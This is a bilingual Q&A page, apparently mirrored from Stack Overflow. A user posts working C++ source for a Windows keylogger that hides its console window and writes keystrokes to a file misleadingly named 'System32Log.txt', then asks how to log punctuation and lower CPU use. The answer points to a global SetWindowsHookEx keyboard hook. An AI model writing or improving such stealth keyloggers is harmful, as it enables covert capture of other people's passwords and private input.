制作键盘记录器 [英] Making a Keylogger

查看:122
本文介绍了制作键盘记录器的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我想在自己的电脑上制作一个小键盘记录器,看看按键是如何使用C ++的。我发现了一些在线代码,只是编辑了一些,虽然我不知道如何做我想做的。

I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

我想修复它,以正确存储像。 ,或更多,但我不知道,因为我不熟悉的关键笔划。另外,我想添加一些东西,这将使它使用更少的CPU(目前在我的i5 25%),我应该可能使用睡眠(值),虽然我不知道哪个值。

I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.

推荐答案

快速查看答案这里

Take a quick look at the answers here and here for more information on which windows API functions are appropriate for your work.

基本思想是在键盘上使用SetWindowsHookEx(或者Keyboard oder Keyboard_LL - 你可能想要第一个)设置一个所谓的Hook函数。卸载键盘记录器时,需要取消挂接。设置挂钩后,Windows将在每个键盘事件后调用挂钩函数。你处理它(记录在某个地方),然后你调用下一个Hook与CAllNextHook继续处理在Windows中的事件。你需要一些尝试和调试。

The basic idea is to set a so called "Hook" function on the Keyboard using SetWindowsHookEx (either Keyboard oder Keyboard_LL - you'll probably want the first though). On unloading your keyboardlogger, you need to unhook it. After you have set the hook, Windows will call the hook function after each keyboard event. You process it (log it somewhere) and then you call the next Hook with CAllNextHook to continue processing the event in Windows. You'll need some trying and debugging there.

这是一个全局钩子(第二个链接在MSDN中提供信息)。研究SetWindowsHookEx函数并尝试了解其背后的机制,你很快就会成功。您还可以使用hook作为搜索中的关键字来优化您在stackoverflow上的搜索(例如,阅读此这里

That's it for a global hook (the second link provides information in MSDN). Research on the SetWindowsHookEx function and try to understand the mechanisms behind it and you'll soon succeed. You can also refine your search on stackoverflow using "hook" as keyword in your search (e.g. reading this here)

这篇关于制作键盘记录器的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆